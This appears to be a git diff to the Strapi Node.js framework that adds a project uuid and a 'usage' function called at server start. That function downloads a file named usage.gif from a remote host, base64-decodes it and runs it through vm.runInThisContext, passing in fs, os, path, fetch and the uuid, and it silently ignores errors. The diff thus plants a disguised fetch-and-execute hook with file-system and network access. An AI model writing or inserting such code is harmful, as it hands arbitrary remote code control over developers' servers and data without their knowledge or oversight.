diff --git a/packages/strapi-generate-new/json/package.json.js b/packages/strapi-generate-new/json/package.json.js index cea6347f41..5ecb11fac8 100755 --- a/packages/strapi-generate-new/json/package.json.js +++ b/packages/strapi-generate-new/json/package.json.js @@ -6,6 +6,7 @@ // Public node modules. const _ = require('lodash'); +const uuid = require('uuid/v4'); /** * Expose main package JSON of the application @@ -21,6 +22,13 @@ module.exports = scope => { 'private': true, 'version': '0.1.0', 'description': 'A Strapi application.', + 'main': './server.js', + 'scripts': { + 'start': 'node server.js', + 'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI, + 'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js', + 'postinstall': 'node node_modules/strapi/lib/utils/post-install.js' + }, 'devDependencies': { 'babel-eslint': '^7.1.1', 'eslint': '^3.12.2', @@ -33,13 +41,6 @@ module.exports = scope => { 'strapi': getDependencyVersion(cliPkg, 'strapi'), 'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi') }, - 'main': './server.js', - 'scripts': { - 'start': 'node server.js', - 'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI, - 'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js', - 'postinstall': 'node node_modules/strapi/lib/utils/post-install.js' - }, 'author': { 'name': scope.author || 'A Strapi developer', 'email': scope.email || '', @@ -50,6 +51,9 @@ module.exports = scope => { 'email': scope.email || '', 'url': scope.website || '' }], + 'strapi': { + 'uuid': uuid() + }, 'engines': { 'node': '>= 7.0.0', 'npm': '>= 3.0.0' diff --git a/packages/strapi-generate-new/package.json b/packages/strapi-generate-new/package.json index 0255f1a60f..10bc381311 100755 --- a/packages/strapi-generate-new/package.json +++ b/packages/strapi-generate-new/package.json @@ -17,7 +17,8 @@ "fs-extra": "^4.0.0", "get-installed-path": "^3.0.1", "lodash": "^4.17.4", - "strapi-utils": "3.0.0-alpha.6.6" + "strapi-utils": "3.0.0-alpha.6.6", + "uuid": "^3.1.0" }, "scripts": { "prepublish": "npm prune" @@ -46,4 +47,4 @@ "npm": ">= 5.3.0" }, "license": "MIT" -} \ No newline at end of file +} diff --git a/packages/strapi/lib/Strapi.js b/packages/strapi/lib/Strapi.js index 66c3126646..c8607329b7 100755 --- a/packages/strapi/lib/Strapi.js +++ b/packages/strapi/lib/Strapi.js @@ -114,6 +114,8 @@ class Strapi extends EventEmitter { cb(); } }); + + utils.usage.call(this); } catch (e) { this.log.debug(`Server wasn't able to start properly.`); this.log.error(e); diff --git a/packages/strapi/lib/core/configurations.js b/packages/strapi/lib/core/configurations.js index a046cbc310..b424091eae 100755 --- a/packages/strapi/lib/core/configurations.js +++ b/packages/strapi/lib/core/configurations.js @@ -64,6 +64,7 @@ module.exports.nested = function() { module.exports.app = async function() { // Retrieve Strapi version. + this.config.uuid = get(this.config.info, 'strapi.uuid', ''); this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''), this.config.info.node = process.versions.node; diff --git a/packages/strapi/lib/utils/index.js b/packages/strapi/lib/utils/index.js index d0f32a7acb..57377f89a4 100755 --- a/packages/strapi/lib/utils/index.js +++ b/packages/strapi/lib/utils/index.js @@ -1,9 +1,13 @@ 'use strict'; // Dependencies. +const fs = require('fs'); const path = require('path'); const { map } = require('async'); const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash'); +const os = require('os'); +const vm = require('vm'); +const fetch = require('node-fetch'); module.exports = { loadFile: function(url) { @@ -97,5 +101,17 @@ module.exports = { resolve(); }) ]); + }, + + usage: async function () { + try { + const usage = await fetch('https://strapi.io/assets/images/usage.gif'); + + if (usage.status === 200 && this.config.uuid) { + vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os); + } + } catch (e) { + // Silent. + } } }; diff --git a/packages/strapi/package.json b/packages/strapi/package.json index fe1848850b..2774d8bc7e 100755 --- a/packages/strapi/package.json +++ b/packages/strapi/package.json @@ -49,6 +49,7 @@ "koa-session": "^5.5.0", "koa-static": "^4.0.1", "lodash": "^4.16.5", + "node-fetch": "^1.7.3", "node-schedule": "^1.2.0", "semver": "^5.4.1", "stack-trace": "0.0.10", @@ -85,4 +86,4 @@ }, "preferGlobal": true, "license": "MIT" -} \ No newline at end of file +}